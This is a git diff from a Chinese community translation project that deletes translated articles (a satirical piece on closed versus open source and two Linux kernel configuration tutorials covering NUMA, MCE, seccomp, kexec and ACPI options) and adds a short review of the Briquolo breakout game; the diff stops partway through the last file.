a/translated/Seven reasons why closed source is better than open source, or so it seems.md +++ /dev/null @@ -1,47 +0,0 @@ -闭源(或者看起来似乎)优于开源的七个缘由 -================================================================================ -![](http://opensource.com/sites/default/files/imagecache/image-full-size/images/business/BUSINESS_asusual_deadend.png) - -开源在某些情况下优于开源,看起来似乎挺奇怪的,因为这样的观点来竟然自于OpenLogic的创办人,而该公司专注于在开源领域提供帮助。 - -针对闭源…… - -**1. 出了问题,不用自己搞定。** - -只要是软件,难保不出问题。要是开源软件出了这事儿,要么你自己,要么某个欠你人情债的工程师,总得有个人要花费时间排除bug。通览代码,求助于开源社区或者开源软件的供应商,通过这些手段来解决问题。 -但是闭源呢,一旦你确定开发商代码出了问题,ok,你的工作到此为止! 你只需发个文件,等着就行了。 -当然,可能会等上几个月或者几年,问题才能得到解决,更甚者永远得不到答复。但是除此之外,你还能做什么呢。 把问题踢回去,放松,期待最好的解决方案,仅此而已。 - -**2. 不必担心贡献回流到社区。** - -如果用的是开源软件, 很有可能, 你解决了一个bug或者做出了改善,之后你的代码就会进入到社区,随着时间的推移从而帮助测试或者维护。闭源就不同了,你根本用不着给任何人做任何事情。当然,那是因为你接触不到代码,所以也修改不了,但是你可以针对遇到的问题创建自己的解决方案。你可以一直只针对同一个问题,改善再改善,一个版本接着一个版本,至少用不着跟社区打交道,为其他人提供更好的解决方法。 - -**3. 你不必考虑开源许可条款及规定事宜。** - -针对开源,你必须遵循所使用的组件的许可条款。例如,想要搞明白Apache软件许可证和GPL之间的区别与联系,是需要花费一定的时间的。使用哪一种许可证取决于你所用的开源组件以及你如何使用这些组件(发布给第三方或者内部使用),据此都有不同的许可证可供应用(可附加到文档中进行说明)。像OpenLogic这样的公司可以很容易地理解并遵守开源许可,但是针对闭源,你大可不必担心这类事情!你的供应商的许可协议把有关软件的所有的权利都收走了,如果没有你的公司的律师明确同意的情况下,打算以独有的方式使用软件几乎是不可能的,想都不要想。当然,你还得对付许可证计数,突如其来的软件合规性审计,随着时间的推移而恶化的条款,几乎难以理解的法律术语,但至少你不必了解如何使用开源组件。 - -**4. 你用不着为每个组件在众多选项中进行选择** - -针对数据库,Web服务器,应用服务器,编程语言,图形用户界面框架,类似的方面等等,开源都提供了大量的解决方案。在每一个特定的领域,你都可以找到运用不同的架构方法,使用各种语言构建的健壮的成品。找一款功能相似的工具很容易,这些工具都针对不同的使用场合进行了优化(性能、可扩展性、简洁之间的比较)。为了确信一个工具软件在既定场合下功能够满足需求,可以下载下来,试用一下。使用闭源软件的话,你就用不着对付那么多的选项。你只需要在每个领域探索两三个大厂商提供的产品。如果供应商没有提供免费试用版本,或者很难说服你为试用品买单,甚至签署试用协议,那你就节省时间了。 - -**5. 你不必四处找幻灯片** - -如果打算找一些会议简报,架构图表,截图,以及其他软件相关的文档,这需要花费一定的时间。使用开源软件,你得读百科,访问论坛,还有邮件列表,才能获取到你需要的相关组件的信息。使用闭源软件,一通电话就足够了,只需坐在自己舒适的办公室,会有西装革履的专业人士把PowerPoint演示文稿寄送到你的面前。 -当然,你得预先提供自己的联系方式,销售人员是不会不给你打电话的。这样看来,至少自己没必要粗略地在网上搜索漂亮的图形。 - -**6. 你无需到处寻求技术支持** - -你可以得到来自开源社区,自己的工程师,或专业开源组织的帮助。这可能需要一些时间,以决定是否要服务等级协议(SLA)的支持便于在保证的时间内得到答复,就像从OpenLogic那里获得帮助一样,或者如果你觉得随意的话可以张贴问题到邮件列表,自己解决。闭源就不同了,你根本不需要担忧从哪获得帮助。而且,你可能根本用不着和工程师当面交谈,只需要知道给谁打电话就OK了。 - -**7. 认输就行了** - -开源软件,总会有办法解决问题,打补丁,改善,强化,重构,升级,或者重写。没可能跟闭源那样,甩手走开。当然,你可以谩骂开发出这个导致问题的软件的社区,但是你仍然可以解决问题,从社区或者组织那里获得帮助,或者自己动手解决。 - -嗯,你都了解了。为甚么闭源优于开源的几条缘由。你还有要补充的吗? --------------------------------------------------------------------------------- - -via: http://opensource.com/business/13/10/seven-reasons-closed-better-than-open-source - -译者:[译者ID](https://github.com/l3b2w1) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/translated/Test your reflexes with Briquolo, fast breakout game.md b/translated/Test your reflexes with Briquolo, fast breakout game.md new file mode 100644 index 0000000000..1d80210432 --- /dev/null +++ b/translated/Test your reflexes with Briquolo, fast breakout game.md @@ -0,0 +1,26 @@ +用Briquolo,打砖块游戏,测试你的反应速度 + +================================================================================ + +[Briquolo][2]是一款快速而又迷人的游戏,用一个球来破坏不同的物体,经典而又令人愉悦。 + +Briquolo十分考验敏捷,因此,游戏玩家必需时刻注意球的反弹走向,一不留神就可能让球掉落。 + +启动游戏后,玩家会意识到这是一款3D游戏,以3D对象展现的华丽木块浮动在一个多彩的环境里,当击破木块时有机率掉落特殊物体,毫无疑问获取它们是至关重要的,这会改变球或滑板的状态,比如球会加速,但有时候也会给你带来麻烦。 + +音乐及特效选项还提供了更精致的效果(包括游戏全屏,高分辨率,--可调至1920×1080--),进而呈现一个有趣而又更富挑战性的Briquolo。 + +![](http://iloveubuntu.net/pictures_me/Briquolo%20usc.jpg) + +Briquolo 0.5.7是[可靠的][2]自由软件,可通过Ubuntu软件中心安装(Ubuntu 12.04, Ubuntu 12.04, Ubuntu 13.04, Ubuntu 13.10, Ubuntu 14.04)。 + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/test-your-reflexes-briquolo-fast-breakout-game + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://briquolo.free.fr/en/ +[2]:apt://briquolo diff --git a/translated/The Linux Kernel/08 The Linux Kernel--Configuring the Kernel Part 4.md b/translated/The Linux Kernel/08 The Linux Kernel--Configuring the Kernel Part 4.md deleted file mode 100755 index 0ea6e20611..0000000000 --- a/translated/The Linux Kernel/08 The Linux Kernel--Configuring the Kernel Part 4.md +++ /dev/null @@ -1,151 +0,0 @@ -08 Linux 内核: 配置内核(Part 4) -================================================================================ -![](http://www.linux.org/attachments/slide-jpg.392/) - -在“The Linux kernel: Configuring the Kernel”的第四部分里,我们将继续配置更多的设置和特性。 - -这里我们被问及关于"IBM Calgary IOMMU support (CALGARY_IOMMU)"。这个选项将会提供对IBM xSeries x366和x460的IOMMU的支持。这也将让那些32位PCI,这些系统上不支持双地址周期(DAC (Double Address Cycle))的设备正常运行,因为该系统设置在访问超过3GB内存的时候会有问题。如果需要这些IOMMU设备可以用"iommu=off"在启动时关闭。(这些内核/模块参数会在以后的文章中讨论) - -IOMMU(input/output memory management unit)是一个内存管理单元(MMU),它连接具有DMA功能的I/O总线到主内存上。DMA(Direct Memory Access)是许多计算机支持的一种允许特定设备不借助CPU直接访问内存的特性。双地址周期(Double Address Cycle, DAC)是64位DMA;通常的DMA使用32位。 - -下面,我们被问及是否默认启用Calgary(Should Calgary be enabled by default? (CALGARY_IOMMU_ENABLED_BY_DEFAULT))。Calgary与上面提到的IOMMU是同一个概念。这两者之间的不同是IOMMU可以支持许多设备而Calgary只能支持IBM IOMMU设备。如果禁用了它但是以后需要使用到它,可以使用内核参数(iommu=calgary)。 - -这里有个问题需要小心处理(Enable Maximum number of SMP Processors and NUMA Nodes (MAXSMP))。只有在内核运行在拥有很多SMP处理器和NUMA节点的情况下如Core i7和许多AMD CPU芯片才启用它。如果系统缺乏或者只有少量的SMP处理器和NUMA节点,内核就会变得低效。这个最好选择"No"。 - -非一致性内存访问(Non-Uniform Memory Access (NUMA))是一个每部分内存都需要花费更长时间访问其他部分内存的系统。一个节点就是一组内存。例如,一个NUMA系统可能有三块内存芯片。每块芯片是一个节点。在带CPU的主板上有一个节点/芯片(这是最快的节点)。另外两个在不同的总线傻nag。这两个节点需要比第一个节点花费更长的时间去访问。 - -注意:ccNUMA和NUMA目前是相同的至少是非常相似的。 - -对称多处理器(Symmetric Multi-Processing (SMP))是NUMA的替代品。它的内存在同一根总线上。只有这么多的CPU可以访问总线,所以这限制了SMP系统上处理器的数量。然而它内存的访问速度一样块。 - -记住:我是在为AMD64系统在编译内核,所以我会告诉你我的选择来帮助读者理解过程和选择。如果我没有指出我的选择,那么我用的就是默认选择。如果你在为不同的系统编译或者你有不同的需求,你需要在你的情况下做出替代的选择。 - -接下来,除非配置工具已经为你做了选择,选择一个内核需要支持的最多CPU的数量。这个配置根据你给的数量优化内核。 - -接着启用或禁用"SMT (Hyperthreading) scheduler support (SCHED_SMT)"。SMT调度器提升了在使用了超线程技术的Pentium 4处理器上的CPU决策。然而,这会带来额外的功耗,在一些系统上最好像我一样选择"no"。 - -超线程一种专有的SMT并行微处理器(Intel 实现了它)。这是多任务/多线程(同时做许多任务)的一种特殊形式。同时多线程(Simultaneous multithreading (SMT))提升了多线程的效率。 - -在这之后,启用或者禁用"Multi-core scheduler support (SCHED_MC)"。这样也是一种提升多核CPU决策的特性。然而这回带来额外功耗。我选择了"No"。 - -在下一个选项中可以选择抢占式模式。 - -Preemption Model -1. No Forced Preemption (Server) (PREEMPT_NONE) -> 2. Voluntary Kernel Preemption (Desktop) (PREEMPT_VOLUNTARY) -3. Preemptible Kernel (Low-Latency Desktop) (PREEMPT) -choice[1-3]: 2 - -抢占就是暂停一个意图让它之后继续执行的中断任务的过程。抢占强制一个进程暂停。任务无法忽视抢占。 - -接着,我们被询问关于"Reroute for broken boot IRQs (X86_REROUTE_FOR_BROKEN_BOOT_IRQS)"。这是一个对于假中断的简单修复。假中断是一种不需要的硬件中断。这些通常是有电子干扰或者错误连接的电子产品触发。记住,中断是发送给处理器需要马上注意的信号。 - -这个选项对任何机器都很重要;我怀疑任何人可能都会有禁用这个特性的理由(Machine Check / overheating reporting (X86_MCE))。内核必须意识到过热和数据损坏,不然,系统将会继续操作,这样只会导致进一步的破坏。 - -下面,用户可以启用禁用"Intel MCE features (X86_MCE_INTEL)",这是一种额外的对像热度监控的Intel MCE特性的支持。因为我是为AMD64处理器编译内核所以我选择了"no"。机器检测异常(MCE)是一种当处理器发现硬件问题时的错误输出。MCE通常会导致内核严重错误(kernel panic)(相当于Windows中的"蓝屏")。 - -这个除了是AMD设备外是同一个问题Intel MCE features (X86_MCE_INTEL)。 - -下一个是我会禁用的调试特性(Machine check injector support (X86_MCE_INJECT))。这个会允许注射机检查。如果你偶尔执行机器注射,那最好编译成模块而不是编译进内核。机器注射可以使设备即使实际没有错误也可以发送一个错误信息。这个用来确认内核和其他进程可以正常处理错误。比如,如果CPU过热,接着应该关机,但是开发者如何在不损坏CPU的情况下测试代码。注射错误是一种最好的方法,因为它只是一种告诉硬件发送错误信号的软件。 - -注:模块是对可能被使用或者很少执行的特性/驱动而言的。只加入在许多使用该内核的系统中用到的特性/驱动到内核中。 - -如果内核很可能用在Dell笔记本上,那么启用这个特性(Dell laptop support (I8K))。否则,如果一些用户可能在戴尔笔记本电脑上使用这个内核,将其作为一个模块加入。如果这个内核不打算支持Dell笔记本,那就像我一样注释掉它。特别地,这个支持是一个允许Dell Inspiron 8000系列笔记本访问处理器的系统管理模式的驱动。系统管理模式的目的是得到处理器的温度和风扇状态,这对一些需要控制风扇的系统有用。 - -下面,用户可以选择微代码加载支持(CPU microcode loading support (MICROCODE))。这可以允许用户在支持这个特性的AMD或者Intel芯片上更新微代码。 - -注意:为了加载微代码,你必须拥有一个为你的处理器设计的合法的二进制微代码拷贝。 - -为了加载微代码补丁(修复bug或加入次要的特性)到intel芯片上(Intel microcode loading support (MICROCODE_INTEL)),这个必须启用。我禁用了它。 - -除了是AMD芯片外这个与上面的相同(AMD microcode loading support (MICROCODE_AMD))。 - -启用这个支持(/dev/cpu/*/msr - Model-specific register support (X86_MSR))可以允许某个处理器有权限使用x86特殊模块寄存器(Model-Specific Registers (MSRs))。这些寄存器是一些字符设备包括主要的202和次要的0到21((/dev/cpu/0/msr to /dev/cpu/31/msr))。这个特性用在多处理器系统上。每个虚拟字符设备都连接到一个特定的CPU。 - -注意:MSRs是用来改变CPU设备、调试、性能监控和执行追踪。MSRs使用x86指令集。 - -在这之后,我们有一个选项"CPU information support (X86_CPUID",启用这个特性允许处理器访问x86 CPUID指令,这需要通过字符设备在一个特定的CPU上执行。这些字符设备包括主要的202和次要的0到31(/dev/cpu/0/msr to /dev/cpu/31/msr),就像x86_MSR支持上面这些。 - -对于支持它的处理器,启用内核线性映射来使用1GB的页(Enable 1GB pages for kernel pagetables (DIRECT_GBPAGES))。启用这个可以帮助减轻TLB的压力。 - -页是内存本身的基本单位(位是数据的基本单位)。页的大小是由硬件自身决定的。页码表是虚拟和物理内存间的映射。物理内存是设备上的内存。虚拟内存是到内存的地址。依赖于系统架构,硬件可以访问大于实际内存地址的地址。举例来说,一个64位系统拥有6GB内存,管理员在需要时可以加上更多的内存。这是因为还有很多虚拟内存地址。然而,在很多32位系统上,系统管理员可以增加一条8GB的内存,但是系统无法完全使用它,因为系统中没有足够的虚拟内存地址去访问大容量的内存。转换后援缓冲器(Translation Lookaside Buffer (TLB))是一种提升虚拟内存转换速度的缓存系统。 - -下面,我们有了一个NUMA选项(Numa Memory Allocation and Scheduler Support (NUMA))。这可以允许内核在CPU本地内存分配器上分配CPU使用的内存。这个支持同样内核更好感知到NUMA。很少的32位系统需要这个特性,但是一些通用的645位处理器使用这个特性。我选择了"no"。 - - -为了系统使用旧方式来检测AMD NUMA节点拓扑,启用这个特性feature (Old style AMD Opteron NUMA detection (AMD_NUMA))。下一个选项是一种更新的检测方式(ACPI NUMA detection (X86_64_ACPI_NUMA))。如果两个都启用,新的方式将会占支配作用。一些硬件在使用其中一种方式而不是另外一个时工作得更好。 - -至于为了调试目的的NUMA仿真,启用下一个特性(NUMA emulation (NUMA_EMU))。 - -注意:如果你不打算调试并且你需要一个快速、轻量级系统,那么禁用尽可能多的调试特性。 - -下一个选项中,选择你的内核打算如何处理NUMA节点的最大数量。接下来选择内存模型。这里可能只有一个内存模型选择。内存模型指定了内存如何存储。 - -Maximum NUMA Nodes (as a power of 2) (NODES_SHIFT) [6] -Memory model -> 1. Sparse Memory (SPARSEMEM_MANUAL) -choice[1]: 1 - -为了有助于性能,这里有一个选项用通过虚拟内存映射(Sparse Memory virtual memmap (SPARSEMEM_VMEMMAP))来优化pfn_to_page和page_to_pfn操作。页帧号是每页被给定的号码。这两个操作用来从号码得到页或者从页得到号码。 - -下一个选项是允许一个节点可以移除内存(Enable to assign a node which has only movable memory (MOVABLE_NODE))。内核页通常无法移除。当启用后,用户可以热插拔内存节点。同样可移除内存允许内存整理。作为出入内存的数据,只要有可用空间一组数据可能被划分到不同内存。 - -接着前面的内存问题,我们还有更多的问题。这些可能已被配置工具预配置了。第三个选项(BALLOON_COMPACTION),当启用时可以帮助减少内存碎片。碎片内存会减慢系统速度。第四个选项(COMPACTION)允许内存压缩。下面列到的第五个选项(MIGRATION)允许页面被移动。 - -Allow for memory hot-add (MEMORY_HOTPLUG) -Allow for memory hot remove (MEMORY_HOTREMOVE) -Allow for balloon memory compaction/migration (BALLOON_COMPACTION) -Allow for memory compaction () -Page migration (MIGRATION) - -注意:启用可移动内存会启用以上5个特性。 - -下一步,我们可以"Enable KSM for page merging (KSM)"。内核同页合并(Kernel Samepage Merging (KSM))会查看程序认为可以合并的内核。如果两页内存完全相同这可以节约内存。一块内存可以被删除或者被合并,并且只有一块可以使用。 - -配置工具可能会自动选择使用多少内存保存用户分配(Low address space to protect from user allocation (DEFAULT_MMAP_MIN_ADDR) [65536])。 - -下一个选项很重要(Enable recovery from hardware memory errors (MEMORY_FAILURE))。如果内存故障并且系统有MCA恢复或者ECC内存,系统就可以继续运行并且恢复。要有这个特性,硬件自身和内核都必须支持。 - -机器检测架构(Machine Check Architecture (MCA))是一个一些CPU上可以发送硬件错误信息给操作系统的特性。错误更正码内存(Error-correcting code memory (ECC memory))是一种内存设备检测和纠正错误的形式。 - -下面,配置工具会自动启用"HWPoison pages injector (HWPOISON_INJECT)"。这个特性允许内核标记一块坏页为"poisoned",接着内核会杀死创建坏页的程序。这有助于停止并纠正错误。 - -为了允许内核使用大页(Transparent Hugepage Support (TRANSPARENT_HUGEPAGE)),启用这个特性。这可以加速系统但是需要更多内存。嵌入式系统不必使用这个特性。嵌入式系统通常只有非常小的内存。 - -如果启用了上面的,那么巨大页的sysfs支持必须配置。 - -Transparent Hugepage Support sysfs defaults -1. always (TRANSPARENT_HUGEPAGE_ALWAYS) -> 2. madvise (TRANSPARENT_HUGEPAGE_MADVISE) -choice[1-2?]: 2 - -下面的选项是增加process_vm_readv和process_vm_writev这两个系统调用(Cross Memory Support (CROSS_MEMORY_ATTACH))。这允许特权进程访问另外一个程序的地址空间。 - -如果有tmem,启用缓存清理(cleancache)通常是一个好主意 (Enable cleancache driver to cache clean pages if Transcendent Memory (tmem) is present (CLEANCACHE))。当一些内存页需要从内存中移除时,cleancache会将页面放在cleancache-enabled的文件系统上。当需要该页时,页会被重新放回内存中。超绝记忆体(tmem)没有一组一直大小的内存。内核对此内存使用间接寻址。 - -下一个选项允许在tmen激活后缓存交换页(Enable frontswap to cache swap pages if tmem is present (FRONTSWAP))。frontswap在交换分区放置数据。交换特性的支持需要这个。超绝记忆体 - -最好启用下一个特性(Check for low memory corruption (X86_CHECK_BIOS_CORRUPTION))。这会检测低位内存的内存损坏情况。这个特性在执行期被禁止。为了启用这个特性,在内核命令行内加入"memory_corruption_check=1"(这会在以后的文章中讨论;这不同于任何命令行)。即使经常执行这个特性,也只使用非常小的开销(接近没有)。 - -接下来我门可以设置内存损坏检测的默认设置(“Set the default setting of memory_corruption_check (X86_BOOTPARAM_MEMORY_CORRUPTION_CHECK))。这可以选择是否开启或关闭memory_corruption_check。最好启用内存损坏检测不然如果一部分重要内存损坏后可能会导致数据丢失和系统崩溃。 - -这个选项关注的是BIOS(Amount of low memory, in kilobytes, to reserve for the BIOS (X86_RESERVE_LOW) [64])。配置工具通常知道给BIOS预留内存的最佳大小。 - -对于Intel P6处理器,开发者可以启用存储区域类型寄存器(MTRR (Memory Type Range Register) support (MTRR))。这用于连接着VGA卡的AGP和PCI卡。启用这个特性内核会创建/proc/mtrr。 - -如果X驱动需要加入回写入口,那么启用下面的选项(MTRR cleanup support (MTRR_SANITIZER))。这会将MTRR的布局从连续转换到离散。存储区域类型寄存器(Memory type range registers (MTRRs))提供了一种软件访问CPU缓存的方法。 - -下面,配置工具已经设置了一些MTRR选项 - -MTRR cleanup enable value (0-1) (MTRR_SANITIZER_ENABLE_DEFAULT) [1] -MTRR cleanup spare reg num (0-7) (MTRR_SANITIZER_SPARE_REG_NR_DEFAULT) [1] - -为了设置页级缓冲控制,那就启用PAT属性(x86 PAT support (X86_PAT))。页属性表(Page Attribute Table (PATs))是现在版的MTRRs并比它更灵活。如果你经历过因启用它而引发的启动问题,那么禁用这个特性后重新编译内核。我选择了"no"。 - --------------------------------------------------------------------------------- - -via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-4.4392/ - -译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/translated/The Linux Kernel/09 The Linux Kernel--Configuring the Kernel Part 5.md b/translated/The Linux Kernel/09 The Linux Kernel--Configuring the Kernel Part 5.md deleted file mode 100644 index c37c906066..0000000000 --- a/translated/The Linux Kernel/09 The Linux Kernel--Configuring the Kernel Part 5.md +++ /dev/null @@ -1,110 +0,0 @@ -09 Linux内核: 配置内核 (Part 5) -================================================================================ -![](http://www.linux.org/attachments/slide-jpeg.428/) - -Linux内核拥有许多特性可以被配置。还有许多的特性要配置。 - -下一个可以配置的特性是x86的随机数生成器(x86 architectural random number generator (ARCH_RANDOM))。记住,我们现在配置的是AMD64系统的内核代码。这个随机数生成器使用Intel x86的RDRAND指令。这并不通用,所以为了一个更轻量的内核我禁用了它。 - -接着,我们可以启用或者禁用"Supervisor Mode Access Prevention (X86_SMAP)"。这是Intel处理器使用的安全特性。SWAP在一些实例中只会允许内核访问用户空间。这个有助于保护用户空间。如果启用,这里有一点性能和大小的开销,但是开销很小。由于我是用的是AMD系统,所以我禁用了这个特性。 - -开发者可以启用"EFI runtime service support (EFI)"。只有在有EFI固件的系统上启用它。拥有这个特性,内核可以使用可用的EFI服务。EFI是一个操作系统和硬件如何交流的规范,所以EFI固件是使用这个规范的硬件代码。因为我没有EFI固件,所以我禁用了它。 - -这是一个应该被启用的有用的安全方式(Enable seccomp to safely compute untrusted bytecode (SECCOMP))。这个安全特性在使用不受信任的字节码的数值计算(执行大量计算的软件)中使用。字节码(可移植代码)是一种被解释器有效读取的代码。字节码不是源代码,但它也不是汇编或者二进制代码。不受信任的代码是一种可能导致系统/数据损坏的代码。可能会破坏系统或者毁坏数据的不受信任的代码通过seccomp被隔离在独立的地址空间中。这是通过文件描述符传输的方法。通常上,最好启用这个安全特性即使会有一些性能开销,除非你在制作一个需要惊人性能的内核。 - -这里是另外一个安全特性(Enable -fstack-protector buffer overflow detection (CC_STACKPROTECTOR))。缓冲溢出是数据被写超出了它的内存界限并且进入了邻近的内存中。这是一个安全威胁。一些恶意软件使用缓冲区溢出来利用系统。启用这个会使用GCC选项 "-fstack-protector"。GCC是一个Linux编译器。这个编译器会在你配置完成后编译内核。这个编译器参数会在返回地址前在栈上加入一个canary值(特殊的安全代码)。这个值会在返回前被验证。当内存溢出发生时,canary值会得到覆盖消息。当这个发生时,会触发一个内存错误(kernel panic)。如许多人知道的那样,内核错误意味着系统将要崩溃,但是这比系统或者数据永久损害的好。发生内核错误,系统会重启,但是如果缓冲移除得到了一个损坏系统的机会,一个简单的重启无法修复破坏。你必须用GCC 4.2或者更高版本支持这个参数的GCC来编译内核。 - -注意:为了得到你使用的版本号,在命令行内键入"gcc --version"。 - -在这之后,我们可以配置定时器频率。配置工具建议使用250Hz,所以我们使用这个值。 - -Timer frequency -1. 100 HZ (HZ_100) -> 2. 250 HZ (HZ_250) -3. 300 HZ (HZ_300) -4. 1000 HZ (HZ_1000) -choice[1-4?]: 2 - -使用1000Hz通常来讲对许多系统而言太快了。定时器频率决定着定时器中断被使用的频率。这有助于在时间线上的系统操作。程序并不是随机地执行一条命令。相反它们会等到定时器中断结束。这保持着有组织和结构的处理。频率为100Hz的定时器中断之间的时间是10ms,250Hz是4ms,1000Hz是1ms。现在许多开发者会马上想到1000Hz是最好的。好吧,这取决于你对开销的要求。一个大的定时器频率意味着更多的能源消耗和更多的能源被利用(在定时器上),产生更多的热量。更多的热量意味着硬件损耗的更快。 - -注意:如果某个特定的特性对你并不重要或者你不确定该选择什么,就使用配置工具选择的默认值。比如,就我现在正在配置的内核而言,使用哪个定时器对我并不重要。总的来说,如果你没有特别的原因去选择任何一个选项时,就使用默认值。 - -这个有趣的系统调用可能会对一些用户有用(kexec system call (KEXEC))。kexec调用会关闭当前内核去启动另外一个或者重启当前内核。硬件并不会关闭并且这个调用可以无需固件的帮助工作。bootloader没有被执行。(bootloader是启动操作系统的软件) 这个重启发生在操作系统级别上而不是硬件上。使用这个系统调用会快于执行一个标准的关机或者重启。这保持硬件在开启状态。这个系统调用并不能工作在所有系统上。为了高性能,启用热插拔。 - -To use kexec, use the command below replacing “” with the kernel that will be used after reboot. Also, replace “” with some of those kernel parameters we had discussed previously. (I will go into greater depth in a later article.) -为了使用kexec,对重启后要使用的内核使用如下命令替换""。同样,使用之前我们讲过的内核参数替换"" (我会在以后的文章中更深入的讨论。) - - kexec -l --append="” - -Specifically, I would type “kexec -l /boot/vmlinuz-3.8.0-27-generic –append="root=/dev/sda1”” -特别地,我这里输入"kexec -l /boot/vmlinuz-3.8.0-27-generic –append="root=/dev/sda1"" - -注意:硬件有时不必重启,所以这不依赖于kexec。 - -下面,我们有一个适用于kexec的调试特性(kernel crash dumps (CRASH_DUMP))。当kexec被调用时,一个崩溃信息(crash dump)会生成。除非你有必要调试kexec,否则这个并不必要。我禁用了这个特性。 - -再者,我们有另外一个kexec特性(kexec jump (KEXEC_JUMP))。kexec跳允许用户在原始内核和kexec启动的内核之间切换。 - -最好对内核启动地址使用默认值(Physical address where the kernel is loaded (PHYSICAL_START) [0x1000000])。 - -下一个内核选项(Build a relocatable kernel (RELOCATABLE))允许内核可以放在内存的任何地方。内核文件会增大10%,但是超出部分会在执行时从内存移除。许多人也许想知道这为什么很重要。在2.6.20内核前,救援内核(rescue kernel)不得不被配置和编译运行在不同的内存地址上。当这个特性发明后,开发者不必再编译两个内核。救援内核不会在第一个已加载的内核地地方加载因为内存部分已被占用或者损坏。(如果你正在使用救援内核,那么明显第一个内核发生了错误) - -这个特性应该在可以增加CPU的系统中启用,除非你有特别的理由不去这么做(Support for hot-pluggable CPUs (HOTPLUG_CPU))。配置工具会自动启用这个特性。在这个特性下,你可以在一个拥有很多处理器的系统上激活/停用一个CPU。这并不意味着在系统中加入新的CPU。所有的CPU必须已经在系统中。 - -下面的选项会让我们选择设置上面的特性是否默认启用(Set default setting of cpu0_hotpluggable (BOOTPARAM_HOTPLUG_CPU0))。为了性能最好禁用这个特性直到需要的时候。 - -这个调试特性允许开发者调试CPU热插拔特性(Debug CPU0 hotplug (DEBUG_HOTPLUG_CPU0))。我禁用了它。 - -为了兼容旧版本的glibc(<2.3.3),启用这个特性(Compat VDSO support (COMPAT_VDSO))。这适用于通过映射32位在VDSO(虚拟动态链接共享对象)的旧式地址。Glibc是GNC C库;这是GNU工程实现的C标准库。 - -如果系统内核被用于一个缺乏完整功能的bootloader上,那么启用这个特性(Built-in kernel command line (CMDLINE_BOOL))。这允许用户在内核自身上使用一条命令行,那么管理员可以修复内核问题。如果bootloader已经有了一条命令行(像grub),那么这个特性不必启用。 - -现在我们可以配置ACPI和电源了。首先,我们被要求选择系统是否可以挂起内存(Suspend to RAM and standby (SUSPEND))。高级配置和电源接口(ACPI)是一种对于设备配置和电源管理的开放标准。挂起系统会将数据放在内存上同时硬件进入一种低功耗的状态。系统不会完全关机。如果用户需要计算机进入一个低功耗的状态但是希望保留当前已打开程序时是非常有用的。关闭一个系统会完全关闭系统电源并且清理内存。 - -下面,我们可以启用睡眠(Hibernation (aka 'suspend to disk') (HIBERNATION))。睡眠就像挂起模式,但是内存中所有数据被保存到硬盘上并且设备完全关闭。这允许用户在电源恢复后继续使用他们已打开的程序。 - -这里,我们可以设置默认的恢复分区(Default resume partition (PM_STD_PARTITION))。非常少的开发者和管理员需要这个特性。当系统从睡眠中恢复时,他会加载默认的恢复分区。 - -在这之后,我们可以启用"Opportunistic sleep (PM_AUTOSLEEP)"。这会让内核在没有活跃的唤醒调用被调用时进入挂起或者睡眠状态。这意味着空闲系统将会进入挂起模式以节省电源。我启用了这个特性。 - -接下来,我们被询问关于"User space wakeup sources interface (PM_WAKELOCKS)"。启用这个特性将会允许激活源对象被激活,停用,并通过基于sysfs接口由用户空间创建。激活源对象会追踪唤醒事件源。 - -sysfs是位于/sys的虚拟文件系统。这个虚拟文件系统包含了关于设备的信息。当进入/sys时,它似乎是硬盘的一部分,但是这个并不是一个真正的挂载点。这些文件实际存在于内存中。这与/proc是同一个概念。 - -注意:"/sysfs"是一个文件夹而"/sysfs"或许是一个根目录下名为"sysfs"的文件。许多Linux用户会混淆这两种命名约定。 - -如果启用了上面的选项,那么你可以设置Maximum number of user space wakeup sources (0 = no limit) (PM_WAKELOCKS_LIMIT)"。最好选择默认。那么你就可以启用垃圾收集器(Garbage collector for user space wakeup sources (PM_WAKELOCKS_GC))。垃圾收集是一种内存管理方式。 - -注意: 在需要更多内存的系统中,通常最好在大多数情况下尽可能启用垃圾收集。不然内存会消耗得更快且杂乱。 - -下一个电源选项关于IO设备(Run-time PM core functionality (PM_RUNTIME))。这个选项允许IO硬件在运行时进入低功耗状态。硬件必须支持这个才行,不是所有硬件都会这么做。 - -与其他许多内核组件一样,如果启用了(Power Management Debug Support),电源管理代码同样有调试支持。我禁用了这个选项。 - -注意: 注意这些我引用/显示的配置工具上的选项/问题不再显示选项代码(括号间所有的大写字母)。这是因为我没有使用基于ncurses的配置工具(make menuconfig)而是使用默认工具去得到选项/设置/问题。记住,"make config"缺乏保存当前进度的能力。 - -在这之后,配置工具会启用"ACPI (Advanced Configuration and Power Interface) Support"。最好允许这个电源管理规范。通常上,配置工具会启用这个特性。 - -为了允许向后兼容,启用"Deprecated /proc/acpi files"。新的实现使用更新的在/sys下的实现。我禁用了这个选项.一个相似的问题询问关于"Deprecated power /proc/acpi directories"。通常上,如果你禁用了这些文件,你不再需要这些文件夹,所以我禁用了他们。一些旧的程序可能会使用这些文件和文件夹。如果你在给旧的的Linux系统上编译一个新的内核,最好启用这个选项。 - -下面,我们有另外一个文件接口可以启用或者禁用(EC read/write access through)。这会创建一个嵌入式控制器接口在/sys/kernek/debug/ec下。嵌入式控制器通常在笔记本中读取传感器。内核代码通过系统的BIOS表提供的ACPI代码访问嵌入式控制器。 - -这里有另外一个可以启用或者禁用的向后兼容特性 (Deprecated /proc/acpi/event support)。acpi守护进程可能会读取/proc/api/event来管理ACPI生成的驱动。不同于这个接口,守护进程使用netlink事件或者输入层来得到送给用户空间的事件。acpi守护进程管理ACPI事件。 - -下一个选项允许开发者启用一个特性,它会通知内核现在使用的是AC(AC Adapter)还是电池。下一个选项从/proc/acpi/battery/ (Battery)中提供电池信息。 - 